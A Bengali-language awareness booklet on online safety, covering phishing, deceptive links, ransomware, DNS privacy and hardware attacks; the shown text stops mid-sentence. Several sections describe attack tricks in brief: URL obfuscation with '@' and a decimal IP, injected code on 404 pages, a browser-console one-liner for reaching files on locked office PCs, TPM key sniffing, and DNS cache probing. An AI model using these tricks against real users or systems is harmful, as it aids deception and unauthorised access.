সাইবার জগতের ওপিঠ

সাইফুল ইসলাম

সাইবার
জগতের ওপিঠ

সাইফুল ইসলাম

সাইবার জগতের ওপিঠ

সংকলক : সাইফুল ইসলাম

কৃতজ্ঞতা : আবদুল্লাহ আল মামুন

প্রথম প্রকাশ : মে ২০২৩

প্রচ্ছদ ও অলঙ্কার সজ্জা : সাইফুল ইসলাম

শুরুর কথা..

অনলাইন মানব জীবনের অবিচ্ছেদ্য অংশ। সময় যত গড়াচ্ছে মানুষের তত অনলাইনের সাথে সম্পৃক্ততা বাড়ছে এবং বিপদজ্জনক হয়ে উঠছে। অনলাইন যেহেতু মানুষের জীবনের অবিচ্ছেদ্য অংশ হয়ে দাড়িয়েছে তাই এখানে সেফটি থাকার উপায় জানা, অনলাইন সম্পর্কে প্রাথমিক ও নিজেকে রক্ষিত রাখার জ্ঞান রাখা অতীব গুরুত্বপূর্ণ।

একটা সময় আসবে সবকিছু পরিচালিত হবে অনলাইনের মাধ্যমে। টাকার ব্যবহার ব্যহত হবে। টাকার সংখ্যা দিয়েই মানুষ জীবনের চাহিদা পূরণ করবে। ঘরে ঘরে থাকবে ব্যাংক অ্যাকাউন্টের বাহার। সবার হাতে থাকবে ক্রেডিট কার্ড। পকেটে থাকা মোবাইলটা ব্যবহার হবে লেনদেন করার জন্য। যাবতীয় যা কিছু আমরা ভিন্ন উপায়ে মিটাচ্ছি সবকিছুই পরিবর্তন হবে। কাগুজে টাকা তখন অনর্থক।

গেল ২০ বছর আগেও গুগল, ফেসবুক সহ সব সোশ্যাল নেটওয়ার্কসগুলোতে অতটা নিরাপত্তা ছিল না। সময়ের ব্যবধানে চাহিদা বাড়ার সাথে সাথে নিরাপত্তায় অনেকটা উন্নত হয়েছে। ঠিক এখন যেভাবে অনলাইন গুরুত্বপূর্ণ সব কাজে ব্যবহৃত হচ্ছে আগামী প্রজন্মে সেটা আরো প্রকট আকার ধারণ করবে। মানুষের গোটা জীবন হয়ে পড়বে অনলাইনময়।

আজকের এই সময়টায় আমরা যেভাবে অনলাইনে নিজের নিরাপত্তার কথা ভাবছি। ভাবছি নিজে একটু সুরক্ষিত থেকে অনলাইন জীবনটা উপভোগ করার

উপায় কি হতে পারে! পেরেশান আমাদেরকে কাবু করেছে এই ভাবনায় যে, অনলাইন আমাদের জন্য নিরাপদ নয়। তো আমাদের প্রজন্মে যদি অবস্থা এই দাড়ায় আগামীতে কী ঘটতে যাচ্ছে তা সহজেই অনুমেয়।

নিরাপত্তার প্রধান হাতিয়ার হচ্ছে সচেতনতা। নিজে নিরাপদ থাকতে হলে সতর্ক থাকুন। হ্যা এটা সত্য যে, প্রত্যেকটা সোশ্যাল নেটওয়ার্কসে নিরাপত্তা বৃদ্ধি করা হচ্ছে কিন্তু এটাও মাথায় রাখতে হবে যে, অসাধু স্প্যামার যারা আছে তারাও বসে নেই। অভূতপূর্ব সাফল্য তাদের হাতের মুঠোয় এসেই ধরা দিচ্ছে প্রতিবার। তাই সতর্কতা বিকল্প প্রথমত কিছু নেই।

আমরা এই বইয়ে সোশ্যাল নেটওয়ার্কসে আপনার নিরাপত্তা নিশ্চিত করতে বিভিন্নভাবে চেষ্টা করেছি। কিছু সোশ্যাল নেটওয়ার্কস সহ আপনার ডিভাইস কিভাবে হ্যাক হতে পারে এনিয়ে ছোট ছোট করে আলোচনা করে বুঝানোর চেষ্টা করেছি। কিছু ট্রিকস শেয়ার করেছি কিন্তু সেগুলো ২০২১ এর দিকে এভলেবল ছিল। সেগুলো এখন কাজ করে কিনা সেটা আগ্রহ থাকলে আপনাকেই যাচাই করতে হবে।

মূলত একজন সাধারণ মানুষের নিরাপত্তার কথা চিন্তা করে বইটি তৈরি প্রয়াস করেছি। যারা মোটামুটি অনলাইনে অ্যাক্টিভ থাকে। বিভিন্নভাবে মানুষকে সহযোগিতা প্রধান করে, অনলাইনকে ব্যবহার করে তারা হয়ে উঠেছেন একজন প্রতিভাবান ব্যাক্তি। তাদেরকে এগিয়ে দেওয়া ও তাদের নিরাপত্তা নিশ্চিত করতেই এখানে হাজির হয়েছি।

বইটির পেছনে সকল শ্রম আমার। তবে কৃতজ্ঞ মুহাম্মদ আবদুল্লাহ আল মামুন ভাইয়ের প্রতি। তার তথ্য থেকে সবথেকে বেশি উপকৃত হয়েছি। আমি এই বইয়ের লেখক নই শুধু একজন সংকলক মাত্র। সবার সুবিদার কথা মাথায় রেখে এক মলাটে আবদ্ধ করে আপনার সবার জন্য সহজ করে দিয়েছি এটা ভাবলেই হৃদয়ে মহানায়ক নিজেকে মনে হয়।

তথ্যগুলোতে কোনো ভুল চোখে পড়লে অবশ্যই অবগত করবেন। পরবর্তী সংস্করণে হয়ত অধ্যায় বাদ দিবো নয়তো সঠিক তথ্য যুক্ত করে দিবো। ইনশা আল্লাহ্

সাইফুল ইসলাম
১৬ মে ২০২৩

আপনার যেকোন পরামর্শ পাঠিয়ে দিন নিচের ইমেইল ঠিকানায়

covidvirus500@gmail.com

|||

|||||

হ্যাকার এবং URL

ওয়েবসাইটের লিংক হ্যাকারের অস্ত্র। URL বা, লিংক কিভাবে হ্যাকিং অপারেশনে কাজে লাগানো হয়- সেই বিষয়ে ছোট্ট আলোচনা করবো।

নিচের লিংকটি দেখুন। এখানে Youtube এবং Facebook দুটো ওয়েবসাইটেরই লিংক আছে। কিন্তু, ওয়েব ব্রাউজারে লিংকটি লিখলে Facebook -এ চলে যাবেন।

> https://youtube.com@facebook.com

এটা মূলত ওয়েব ব্রাউজারের নিজস্ব ফাংশনালিটির কারনে হয়। আবার, নিচের লিংকটি দেখুন। এখানেও Youtube এবং Facebook দুটো ওয়েবসাইটেরই লিংক আছে। কিন্তু, এই লিংকে ক্লিক করলে Youtube -এ চলে যাবেন।

> https://youtube.com#facebook.com

যাই হোক, এই বিষয়টি হ্যাকিং অপারেশনে কাজে লাগানো সম্ভব। তবে, পদ্ধতি আলোচনা করছি না; যেহেতু, সেটা Facebook Policy -র বিরুদ্ধে যাবে।

404 Error

মনে করুন, **iiii.com** নামে আমার একটি ওয়েবসাইট আছে। ওয়েবসাইটে bangla নামের একটি file আছে।

তাই, **iiii.com/bangla** লিংকে গেলে সেই file টি পাওয়া যাবে। কিন্তু, আমার ওয়েবসাইটে english নামের কোন file নেই।

তাই, **iiii.com/english** লিংকে গেলে 404 Error দেখাবে।

কিন্তু, এমন অনেক vulnerable (ত্রুটিযুক্ত) ওয়েবসাইট থাকতে পারে, যেখানে 404 Error দেখানোর সময় আপনি যেই file এর লিংকে গিয়েছেন, সেই file এর নাম ওয়েবসাইটে লেখা উঠবে নিচের মতো-

> Ops! **/english** does not exist.

অর্থাৎ, আপনার লেখা অংশটি ওয়েবসাইটে দেখানো হচ্ছে। তাই, **/english** এর জায়গায় ক্ষতিকর code লিখে, সেই লিংক কাউকে দিয়ে ক্লিক করালেই তার ব্রাউজারে ক্ষতিকর code টি run করবে। যদিও, এরকম vulnerable ওয়েবসাইট বর্তমানে নেই বললেই চলে।

Broken Link Hijacking

মনে করুন, নিচের লিংকটি হচ্ছে **abcd** নামক একটি ফেসবুক গ্রুপের-

> fb.com/groups/abcd

সেই গ্রুপে কয়েক লাখ মানুষ join করলো। ধীরে ধীরে গ্রুপটি অনেক পরিচিতি লাভ করলো এবং বিভিন্ন ওয়েবসাইটে গ্রুপের লিংক share করা হলো। হঠাত একদিন গ্রুপটি disable হয়ে গেলো। সেই সুযোগে অন্য একজন তার নিজের অপরাধমূলক গ্রুপের লিংক edit করে abcd গ্রুপের লিংকটি set করে দিলো। ফলে, যেসকল ওয়েবসাইটে abcd গ্রুপের লিংক share করা হয়েছিলো, সেসকল লিংকে ক্লিক করলে এখন এই ক্ষতিকর গ্রুপে চলে যাবে।

লিংকের সাথে সম্পর্কিত আরও অনেক বিষয় জড়িত আছে। তাছাড়া, link shortener ব্যাবহার করে ক্ষতিকর লিংককে ছোট করে অন্যের কাছে পাঠানোর বিষয়ে আপনারা সকলেই হয়তো জানেন। তবে, লিংক নিজে থেকে কোনকিছুই run করবে না; যদি না, আপনি ক্লিক করেন। তাই, লিংকে ক্লিক করার সময় যাচাই করুন। কারন, লিংক একটি অস্ত্র।

ফিশিং - সচেতন থাকুন

আপনি কি জানেন যে, ফিশিং এর স্বীকার হয়েই অধিকাংশ মানুষ ম্যালওয়্যার ডাউনলোড করেন? ফিশিং ওয়েবসাইটের কথা হয়তো সবাই জানেন। তবে, অপরাধীরা ফিশিং ইমেইলের মাধ্যমে বেশি আক্রমণ করে। যেমন ধরুন- কিছুদিন আগে Windows 11 নিয়ে প্রচুর উৎসাহ কাজ করছিলো। ঠিক তখনই একটি অপরাধী গ্রুপ **Windows 11 Alpha** নামের একটি ফিশিং ইমেইল পাঠাতে থাকে। অপরাধীরা মানুষকে বোকা বানিয়ে ইমেইলে লিখেছিলো যে,

> ইমেইলের সাথে একটি file যুক্ত করা আছে যেটা বানানো হয়েছে Windows 11 Alpha দিয়ে।

তাই, file টি open করার জন্য তারা একটি button -এ ক্লিক করতে বলে। আর, ক্লিক করলেই ম্যালওয়ারের কাজ শুরু!

অনেক সময় ফিশিং ইমেইলে এমন লিংক থাকতে পারে যে, বাংলাদেশের মানুষ ক্লিক করলে একটি লিংকে যাবে আবার অন্য দেশের মানুষ ক্লিক করলে অন্য লিংকে যাবে। অর্থাৎ, লিংক একটাই কিন্তু, location ভেদে আলাদা আলাদা ওয়েবসাইটে redirect করবে। এমনকি অনেক সময় লিংক shortener ব্যাবহার করে লিংক ছোট করা হয়। ফলে, সেই লিংকটি দেখে আসল লিংক হয়তো জানতে পারবেন না।

জরুরি একটি কথা বলতে চাই। সেটা হচ্ছে- অনেক সময় এমনও হতে পারে যে, একজন আপনাকে একটি ওয়েবসাইট বা, এপ্লিকেশনে sign up করতে বললো। কিন্তু, সেই ব্যক্তি আপনার ইমেইল ব্যাবহার করে আগেই sign up করেছে কিন্তু, verification code এসেছে আপনার কাছে। ফলে, তার কথা শুনে আপনি যখন নিজে থেকে sign up করবেন এবং verification code পাঠাবেন, তখন একাউন্ট verified হয়ে যাবে। পরবর্তীতে সেই ব্যক্তি পাসওয়ার্ড পরিবর্তন করে নিবে। যদিও ভালো সিকিউরিটি যুক্ত ওয়েবসাইটে এমনটা করা খুব একটা সম্ভব না।

সাইবার বিশ্বে ফিশিং হচ্ছে- বিরাট এক ঝুঁকি। এই ফিশিং এর মাধ্যমেই ইন্টারনেট থেকে ম্যালওয়্যার চলে আসতে পারে আপনার কম্পিউটারে। তাই, সচেতন থাকুন। ধন্যবাদ।

সাইবার ব্ল্যাক ফোরাম

নিচের ছবিতে দেখতে পাচ্ছেন- বিভিন্ন সাইবার অপরাধীরা হ্যাক করা পাসওয়ার্ড share করছে। এরকম অনেক গ্রুপ বা, ফোরাম আছে। তবে, এরকম গ্রুপে যে শুধু অপরাধীরাই থাকে- তা কিন্তু না। অনেক সরকারি, বেসরকারি সাইবার সিকিউরিটি প্রফেশনাল এবং সাংবাদিকও সেখানে থাকেন, অপরাধীদের কার্যবিধি পর্যবেক্ষণ করার জন্য।

যাই হোক, একটি বিষয় পরিষ্কার- আপনি যদি নিয়মিত পাসওয়ার্ড পরিবর্তন না করেন তাহলে, এসকল ফোরামে আপনার পাসওয়ার্ড share হয়ে গেলে অপরাধীরা দিনের পর দিন আপনার একাউন্টে login করে যাবে!

যাচাই করুন

নিচের লিংকে ক্লিক করলে আপনি আমার Facebook একাউন্টে চলে যাবেন-

>

https://www.linkedin.com/slink?code=gX643naz

অথচ, এটা Linkedin ওয়েবসাইটের লিংক, তাই না? এভাবে একটি ওয়েবসাইটের লিংকে ক্লিক করে আরেক ওয়েবসাইটে চলে যেতেই পারেন। তাই, কোন্ লিংকে ক্লিক করছেন এবং ক্লিক করার পর কোন্ লিংকে চলে গেলেন- উভয়টিই যাচাই করুন।

লিংকের মধ্যে ধোঁকাবাজি

একজন আপনাকে নিচের লিংক send করলো-

https://facebook.com@2398797614

এই লিংকে ক্লিক করলে আপনি Google -এ চলে যাবেন। অথচ, দেখলে মনে হবে- এটা ফেসবুকের লিংক।

এটা কিভাবে হচ্ছে?

উপরের লিংকে facebook.com এর পরে **@** চিহ্নটাই হচ্ছে আসল হ্যাক। এই **@** চিহ্নের পরে আমি google.com এর IP address (ডেসিমেল সংখ্যায়) লিখে দেওয়ায় আপনি ফেসবুকের লিংকে ক্লিক করেও গুগলে চলে যাচ্ছেন। এভাবে করে কিন্তু আপনাকে ম্যালওয়্যার সাইটেও নিয়ে যাওয়া সম্ভব, যদি আপনি ক্লিক করেন।

Ransomware আক্রমণের পর করনীয়

অত্যন্ত দুঃখের সাথে বলতে হচ্ছে- গত ২/১ দিন যাবত অনেকেই ransomware আক্রমণের শিকার হচ্ছেন। ফেসবুকে অনেক সমাধান খোঁজ করলেও সমাধান পাচ্ছেন না। তাই, আজকে আমি (Mamun) নিজের ব্যক্তিগত রিসার্চ থেকে কিছু তথ্য আপনাদের সামনে তুলে ধরবো-

সাম্প্রতিক কিছু ransomware এর ওপর forensic গবেষণা করে দেখা গিয়েছে- এসব ransomware কম্পিউটারের file গুলো encrypt করার আগে সকল file এর একটি copy করে নেয় এবং তারপর সেই copy করা file কে encrypt করে (যাতে করে কম্পিউটারে ভিন্ন logical address -এ সেগুলো চলে যায়)। আর, copy করা file গুলো encrypt করা হয়ে গেলে মূল file কে delete করে দেয়। আর, এখানেই রয়েছে আপনার file ফিরে পাওয়ার সুযোগ। আপনি নিশ্চয়ই জানেন- কম্পিউটারে delete করা file গুলো recover করা যায়? এই বিষয়ে বিস্তারিত জানতে নিচের লিংকে ক্লিক করে আমার post টি পড়তে পারেন। তো, এই ধরনের ransomware এর শিকার হলে আপনি সহজেই delete হওয়া file গুলো recover করার মতো করেই recover করতে পারবেন।

আবার, অনেক সময় malware গুলো শুধুমাত্র নির্দিষ্ট কিছু দেশের কম্পিউটারের ক্ষতি করে। তাই, malware এর প্রোগ্রামে যদি আপনার দেশকে টার্গেট হিসেবে না রাখে তাহলে malware নিজে থেকেই চলে যাবে। এমনকি কিছু কিছু malware এর মধ্যে এমনও প্রোগ্রাম পাওয়া গিয়েছে যে, কম্পিউটারের user name যদি **USER-JOHN** হয়, তাহলেই সেই কম্পিউটারের ক্ষতি করা হবে না।

আর, আমরা সবাই জানি- প্রতিকারের চেয়ে প্রতিরোধ উত্তম। আপনি যদি নিজে থেকেই আপনার কম্পিউটারের disk partition গুলো encrypt করে রাখেন তাহলে, অপরাধীরা সাধারণত আপনার file গুলো access করতে পারবে না; কারণ, তাদের কাছে আপনার দেওয়া key নেই। ফলে, অনেকাংশেই ransomware এর ঝুঁকি কমে যাবে।

আর, অপরাধীরা সাধারণত ইন্টারনেটের মাধ্যমেই ransomware পরিচালনা করে থাকে। তাই, যদি ransomware এর শিকার হয়েও যান; যখন আন্দাজ করতে পারবেন তখন সাথে সাথে কম্পিউটার থেকে ইন্টারনেট সংযোগ বিচ্ছিন্ন করে দিবেন। আর, দেখুন- আপনার কম্পিউটারের file গুলোর শেষে এখন কোন্ extension যুক্ত করা আছে। ইন্টারনেটে সেই extension সম্পর্কিত ransomware এর সমাধান search করুন, পেয়ে যেতে পারেন।

পরিশেষে একটি কথাই বলবো- অবিশ্বস্ত এবং unofficial প্লাটফর্ম থেকে কোনকিছু ডাউনলোড করবেন না।

ব্রাউজার বাইপাস

বহুদিন পর একটি বিষয়ে লিখছি। মনে করুন, কেউ আপনাকে নিচের লিংক পাঠালো-

https://cutt.ly/T3cWovY

এই লিংকে ক্লিক করলে আপনি Facebook -এ চলে যাবেন। কিন্তু, Facebook -এ যাওয়ার আগে আপনি আমার ওয়েবসাইটে redirect হবেন। অথচ আপনি সেটা বুঝতেই পারবেন না। সবচেয়ে বড় হ্যাক হচ্ছে- আপনার ওয়েব ব্রাউজার সেটা history তে track করতে পারবে না।

ভেবে দেখুন- একজন সাইবার অপরাধী যদি এভাবে কোন malicious (ক্ষতিকর) ওয়েবসাইটে redirect করায় তাহলে আপনি হয়তো বুঝতেই পারবেন না!

হ্যাকার, File ও ব্লক

আপনার ঘরের কম্পিউটার আর, বড় বড় কোম্পানির কম্পিউটার সিস্টেমের মধ্যে কিছু পার্থক্য থাকতে পারে। অফিসে এমনও কম্পিউটার থাকতে পারে, যেটা দিয়ে শুধুমাত্র ওয়েব ব্রাউজার ব্যাবহার করা যাবে। ফলে আপনি সেই কম্পিউটারের কোন file দেখতে পারবেন না। কিন্তু, আপনি যদি ওয়েব ব্রাউজারে right click করে Inspect -এ ক্লিক করেন। এরপর Console -এ গিয়ে নিচের statement টি লিখে Enter প্রেস করেন তাহলেই file দেখার অপশন পেয়ে যেতে পারেন-

```
document.write('<input/type=file>
```

এছাড়াও, ওয়েব ব্রাউজারে right click করে Save as -এ ক্লিক করলে কিংবা, right click করে Print -এ ক্লিক করে Save -এ ক্লিক করলেই নতুন Window চলে আসবে। এরপর আপনি চাইলে একটি Folder -এর ওপর right click করে Open in new window -তে ক্লিক করলেই সকল file পেয়ে যেতে পারেন। মূলত এভাবেই কম্পিউটার সিস্টেমে বিভিন্ন ফাঁক-ফোকড় থেকে যায়। যার কারনে একটি কোম্পানিতে থাকা শত শত কম্পিউটার নিরাপদ রাখতে সাইবার সিকিউরিটি ইঞ্জিনিয়ারগণ অক্লান্ত পরিশ্রম করে যান।

হ্যাকিং হচ্ছে- science এবং arts এর সমন্বয়।

নারীর অর্ধ-উলঙ্গ ছবি ইমেইল করলে ৫০% পুরুষ সেই ইমেইলের লিংকে ক্লিক করবে শুধুমাত্র ছবিটি বড় করে দেখার জন্য। পুরুষের এরকম ছবি পেলে নারীরা কি করবে- সেই প্রেক্ষাপট নিয়ে কিছু বলতে চাচ্ছি না। তবে, এটাই বাস্তব। ২০০১ সালে **Anna Kournikova** নামের একজন নারী টেনিস খেলোয়াড়ের ছবি যুক্ত ইমেইল পাঠিয়ে অসংখ্য কম্পিউটার হ্যাক করা হয়েছিলো। তবে, ইমেইলের সেই ছবিতে যখন ক্লিক করা হতো, তখন সেই ছবি দেখা যেতো না। বরং, গোপনে **Vbs.OnTheFly** নামক ম্যালওয়্যার কাজ করা শুরু করে দিতো। এটা তৈরি করেছিলো ২০ বছর বয়শী যুবক, যার ছদ্মনাম ছিলো **OnTheFly**।

আসলে, হ্যাকিং হচ্ছে- science এবং arts এর সমন্বয়। আর, সবশেষে একটা কথা জানিয়ে দিবো। সেটা হচ্ছে- একজন হ্যাকারের **Facebook** একাউন্ট না-ও থাকতে পারে কিন্তু, **Twitter** একাউন্ট অবশ্যই থাকবে। সেখানে সারা বিশ্বের অসংখ্য হ্যাকারের দেখা পাবেন। আপনাকে শুধু খুঁজে নিতে হবে। ধন্যবাদ।

ফেসবুকের Only Me ছবি

আপনি ফেসবুকে একটি ছবি post করলেন। এরপর ছবিটি public থেকে only me করলেন। কিন্তু, only me করার আগেই কেউ যদি আপনার সেই ছবিতে right click করে 'Copy image address' -এ ক্লিক করে ছবিটির লিংক copy করে নেয় তখন, ছবিটি only me করার পরেও সেই লিংকে গেলে আপনার ছবিটি দেখা যাবেই। এই বিষয়ে ফেসবুক সিকিউরিটি team এর সাথে যোগাযোগ করলে তারা আমাকে জানান যে, ছবি public করে post দেওয়ায় আপনি যেহেতু ছবির লিংকটি স্ব-ইচ্ছায় নিজেই সবার কাছে জানিয়ে দিচ্ছেন তাই, এমনটা হওয়া স্বাভাবিক।

এটা ফেসবুকের policy হলেও অনেকেই হয়তো বিষয়টি জানেন না। তাই, সতর্কতা স্বরূপ জানিয়ে দিলাম। ধন্যবাদ।

৯ সেপ্টেম্বর ২০২২

অনলাইন সার্চ যখন ঝুঁকির মধ্যে

বিষয়ঃ ডিএনএস

আপনি VPN ব্যাবহার করে আপনার আইপি এড্রেস গোপন করলেও আপনার লোকেশন track করা সম্ভব। কারনটা বলবো তবে, তার আগে আপনাকে DNS এর পরিচয় জানতে হবে। ইন্টারনেটে আপনি যখনই কোন ওয়েবসাইটের নাম লিখে সার্চ দেন, তখনই সেই ওয়েবসাইটের আইপি এড্রেস খুঁজে বের করতে হয়। ইন্টারনেটের শুরুর দিকে ওয়েবসাইটগুলোর আইপি এড্রেস লিখেই সার্চ করতে হতো। কিন্তু, বর্তমানে ওয়েবসাইটের নাম (যেমনঃ facebook.com) লিখে সার্চ দিলেই ওয়েবসাইট চলে আসে। কারন, আপনি যখন ওয়েবসাইটের নাম লিখে সার্চ দেন, তখন আপনার ওয়েব ব্রাউজার একটি DNS সার্ভার থেকে ওয়েবসাইটটির আইপি এড্রেস খুঁজে বের করে এবং এরপর সেই আইপি এড্রেস এর মাধ্যমে ওয়েবসাইট খুঁজে বের করে। এভাবে আপনি যখনই কোন ওয়েবসাইটে প্রবেশ করতে চাইবেন তখনই DNS সার্ভার থেকে সেই ওয়েবসাইটের আইপি এড্রেস বের করতে হবে। কিন্তু, আপনি তো আপনার ইন্টারনেট প্রোভাইডারের দেওয়া DNS সার্ভার ব্যাবহার করছেন। ফলে, আপনি কি কি সার্চ করছেন- সেটা তাদের কাছে save থাকবে। এমনকি, আপনি কোন DNS ব্যাবহার করছেন সেটা জানার মাধ্যমে আপনার লোকেশন track করা সম্ভব। এভাবেই আপনি VPN ব্যাবহার করে আইপি এড্রেস গোপন করার পরেও অনেক সময় আপনার ব্যাবহার করা DNS সার্ভারকে track করে আপনার লোকেশন (location) জানা সম্ভব।

সব মিলিয়ে DNS একটি অনিরাপদ ব্যবস্থা। প্রায়ই **DNS poisoning** এর মাধ্যমে মানুষ হ্যাকিং এর স্বীকার হচ্ছে। অনেকেই হয়তো জানেন না- DNS poisoning কি? DNS poisoning হচ্ছে- DNS এর তালিকায় থাকা আইপি এড্রেস পরিবর্তন করে খারাপ ওয়েবসাইটের আইপি এড্রেস লিখে দেওয়া। ফলে, আপনি যখন ওয়েবসাইটটির নাম লিখে সার্চ করবেন তখন আসল ওয়েবসাইটে না গিয়ে পরিবর্তিত আইপি এড্রেসের ওয়েবসাইটে চলে যাবেন।

আমরা কি কি পদক্ষেপ নিতে পারি?

প্রথমত, আপনি কি কি সার্চ করছেন সেটা আপনার ইন্টারনেট প্রোভাইডার জানতে পারে। কারন, আপনি তাদের DNS সার্ভার ব্যাবহার করছেন। এক্ষেত্রে Firefox ব্রাউজারের Settings থেকে এনক্রিপ্টেড **DNS over HTTPS** চালু রাখার পরামর্শ দিয়ে থাকেন অনেকে। তবে, এই পদ্ধতি অবলম্বন করলেও কিছু অসুবিধা থাকেই। আমি বরং বলবো- আপনার DNS সার্ভার পরিবর্তন করুন। এজন্যে Linux কম্পিউটারের **/etc/resolv.conf** লোকেশনের file এর মধ্যে DNS সার্ভার পরিবর্তন করতে হবে। আর, Windows কম্পিউটারের Control Panel থেকে পরিবর্তন করতে হয়। যদিও, Windows নিজে থেকেই অনেক কিছু track করে (যদি না আপনি সেগুলো disable করে দেন)।

সাইবার সিকিউরিটি অভিজ্ঞরা বলে থাকেন- **অনলাইনে ব্যক্তিগত তথ্য

শতভাগ গোপন রাখা সম্ভব না। কিন্তু, তারপরেও আপনি যদি আপনার প্রাইভেসি রক্ষা করার জন্য সর্বোচ্চ চেষ্টা করে থাকেন তাহলে “congratulations!” আপনি সঠিক কাজটি করছেন।

বর্তমান সাইবার জগত মনিটর - রিস্ক - সিকিউরিটি

একটি এলাকায় আগুন লাগলেই আমি জানতে পারি, সেটা খবরের কাগজে না আসলেও! ভিন দেশের একটি শহর ৫ মাস আগে কেমন ছিলো আর আজকে কেমন হয়েছে সেটাও আমি 3D মডেলে দেখতে পাচ্ছি। সারা বিশ্বে ইন্টারনেটে সংযুক্ত প্রায় সকল কম্পিউটার ডিভাইসের তথ্য আমার হাতের মুঠোয়।

অনেকে প্রশ্ন করেন- "এন্টি ভাইরাস ব্যাবহার করে আমি কতোটুকু নিরাপদ"? হ্যাঁ, নিরাপদ; আবার নিরাপদ না। আপনি যদি এমন ব্যক্তি হয়ে থাকেন যে, আপনার কম্পিউটার হ্যাক করার জন্য আপনার শত্রু মিলিয়ন ডলার ব্যয় করতেও প্রস্তুত তাহলে এন্টি ভাইরাস নিতান্তই একটি ভেঁজা বালুর দেওয়াল।

তবে, কখনো কখনো খুব সহজেও হ্যাক হয়ে যেতে পারে। এখন অনেকে বলবেন- "আমার মতো গরীবের ডিভাইস হ্যাক করলে হ্যাকারের কি আর লাভ হবে"! কতো innocent এসব মানুষ! তাঁদের ডিভাইস হ্যাক করে অর্থ আয়ের জন্য হ্যাকাররা গোপনে এমন সব apps চালাবে যে, যেই ডিভাইস ৭ বছর চলার কথা, সেটা এখন ৪ বছরও টিকবে না!

এখন নিরাপদ থাকতে চান? ইন্টারনেটে সহজেই বিশ্বাস করা বন্ধ করুন।।

ফেসবুকে অদৃশ্য লিংক!

নিচের লিংকটি দেখুন-

https://facebook.com/zuck/

এটি ফেসবুকের প্রতিষ্ঠাতা Mark Zuckerberg এর ফেসবুক একাউন্টের লিংক। কিন্তু, এই লিংকে ক্লিক করলে আপনি আমার ফেসবুক একাউন্টে চলে যাবেন।

লিংকটি বিশেষ পদ্ধতিতে post করেছি। আর, এভাবে আপনাকে একটি ওয়েবসাইটের লিংক দেখাবো কিন্তু, ক্লিক করলে অন্য লিংকে চলে যাবেন। তবে, এই পদ্ধতিতে শুধুমাত্র যেই ওয়েবসাইটের নাম (domain) শুরুতে থাকবে, সেই ওয়েবসাইটেরই অন্য লিংকে নিয়ে যাওয়া সম্ভব। তাই, আমি ফেসবুককে এই বিষয়টি জানালে 'তারা এটাকে ক্ষতিকর কিছু বলে মনে করে না' বলে জানিয়েছে।

কম্পিউটার হারিয়েছেন তো বিপদ

কম্পিউটার হচ্ছে প্রযুক্তির ভিত্তি। কিন্তু, বর্তমানে Shark Jack নামক পেনড্রাইভের মতো ছোট ডিভাইস দিয়েই সেই কম্পিউটার হ্যাক করা যাচ্ছে। আর, কম্পিউটার যদি হারিয়ে যায় এবং হ্যাকারের হাতে চলে যায় তাহলে তো বুঝতেই পারছেন!

সম্প্রতি, একটি সাইবার সিকিউরিটি team এই বিষয়ে পরীক্ষা চালিয়েছেন। তারা একটি ব্যাবহৃত ল্যাপটপ নিয়েছিলেন এবং সেই ল্যাপটপের ওপর প্রাথমিক পরীক্ষা চালিয়ে তারা জানতে পারলেন-

* BIOS settings একটি পাসওয়ার্ডের মাধ্যমে lock করা ছিলো।

* BIOS boot order ছিলো lock করা। ফলে, তারা পেনড্রাইভ থেকে অন্য অপারেটিং সিস্টেম boot করতে পারবেন না।

* সেই ল্যাপটপে VT-d চালু রাখা ছিলো। ফলে, ল্যাপটপের হার্ডওয়্যার Direct Memory Access বা, সরাসরি RAM -কে access করতে পারতো না।

এমনকি, সেই ল্যাপটপের হার্ড-ড্রাইভ ছিলো Bitlocker দিয়ে encrypt করা।

কিন্তু, তারা লক্ষ্য করলেন- ল্যাপটপ চালু করলে login করার screen চলে আসছে। তার মানে, হার্ড-ড্রাইভ encrypt করা থাকলেও **drive** (যেমন C: drive) কে decrypt করার key আসছে TPM থেকে। আর, Windows 11 ইন্সটল করার সময় আপনারা TPM সম্বন্ধে জেনে গেছেন। ফলে, তারা বিশেষ কিছু ডিভাইস ব্যাবহার করে TPM এর কাছে আসা decryption key সংগ্রহ করলেন। এরপর আর কি? অল্প সময়ের মধ্যে ল্যাপটপে login করলেন এবং হার্ড-ড্রাইভের সবকিছু পেয়ে গেলেন।

আপনার কম্পিউটার হারিয়ে গেলে এভাবে login করলে আপনার Facebook, Gmail একাউন্ট থেকে শুরু করে অফিসিয়াল সবকিছুর ওপর নিয়ন্ত্রণ নেওয়া সম্ভব হতে পারে। এমনকি আপনার personal ছবি দিয়ে ব্ল্যাক-মেইল করাও সম্ভব। এটা যদিও হার্ডওয়্যার হ্যাকিং এর মধ্যে পড়ে। তবে, সফটওয়্যার কেন্দ্রিক বিশেষ কিছু সিকিউরিটি ফাংশনালিটি ব্যাবহার করলে নিরাপত্তা বৃদ্ধি করা সম্ভব। আর, ম্যালওয়্যার নিয়ে আমি একটি PDF বই লিখছি; খুব শীঘ্রই পেয়ে যাবেন ইনশাআল্লাহ। সবাইকে ধন্যবাদ।

আপনার এন্টিভাইরাসের সন্ধান

একজন ব্যক্তি চাইলেই আপনি কোন্ এন্টিভাইরাস ব্যাবহার করছেন- সেটা জেনে নিতে পারে। আপনার কম্পিউটারে সেই ব্যক্তির কোন access না থাকলেও পৃথিবীর অপর প্রান্ত থেকে এটা করা সম্ভব।

কিভাবে?

একটি কোম্পানির কম্পিউটার দিয়ে উদাহরণ দেওয়া যাক। আপনি যখন একটি ওয়েবসাইটে প্রবেশ করেন তখন আপনার রাউটার সেই ওয়েবসাইটের আইপি এড্রেস cache করে (লিপিবদ্ধ করে) রাখে। যাতে করে, পরবর্তীতে আবার সেই ওয়েবসাইটে প্রবেশের সময় আইপি এড্রেসটি খুঁজতে না হয়। এখন মনে করুন, আপনি একটি এন্টিভাইরাস ব্যাবহার করেন। সেই এন্টি ভাইরাস কিন্তু তাদের এন্টিভাইরাস কোম্পানির ওয়েবসাইটে প্রায়ই connected হয়। তাই, এন্টিভাইরাসের ওয়েবসাইটের আইপি এড্রেস আপনার কোম্পানির রাউটারে cache (জমা) করা আছে। এখন একজন ব্যক্তি কম্পিউটার প্রোগ্রামিং (যেমন C, C++) ব্যাবহার করে এমনভাবে আপনার রাউটারে non-recursive রিকুয়েস্ট পাঠাবে যে, আপনার রাউটারে সেই এন্টিভাইরাস ওয়েবসাইটের আইপি এড্রেস cache করা থাকলে, তবেই কেবলমাত্র সেই ব্যক্তি response পাবে। তা না হলে response পাবে না। কিন্তু, আপনি যেহেতু এন্টি ভাইরাসটি ব্যাবহার করছেনই তাই, সেই ব্যক্তিও response পেয়ে 